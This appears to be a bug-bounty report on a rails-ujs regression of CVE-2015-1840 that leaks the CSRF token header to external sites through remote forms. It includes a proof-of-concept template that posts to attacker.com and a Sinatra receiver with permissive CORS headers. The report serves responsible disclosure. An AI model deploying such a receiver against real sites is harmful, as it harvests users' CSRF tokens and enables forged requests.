CSRF header is sent to external websites when using data-remote forms

How it was found

Looks like there is a regression in the fix for CVE-2015-1840 (H1 report). The origin isn't being checked before adding a CSRF header to data-remote forms. I noticed this when checking out the new rails-ujs repo.

Example Rails template:

<%= form_tag "http://attacker.com", remote: true do %>
  <button type=submit>submit</button>
<% end %>

Example http://attacker.com app

require "sinatra"

options '/*' do
  headers['Access-Control-Allow-Origin'] = "*"
  headers['Access-Control-Allow-Methods'] = "POST"
  headers['Access-Control-Allow-Headers'] ="x-csrf-token"
end

post '/*' do
  "foo"
end

When the form is submitted, an XHR request to attacker.com is sent, including the X-CSRF-Token header.

PS: @tenderlove told me to submit this here. I shouldn't get paid since I'm one of the GitHub folks who reviews these H1 submissions now.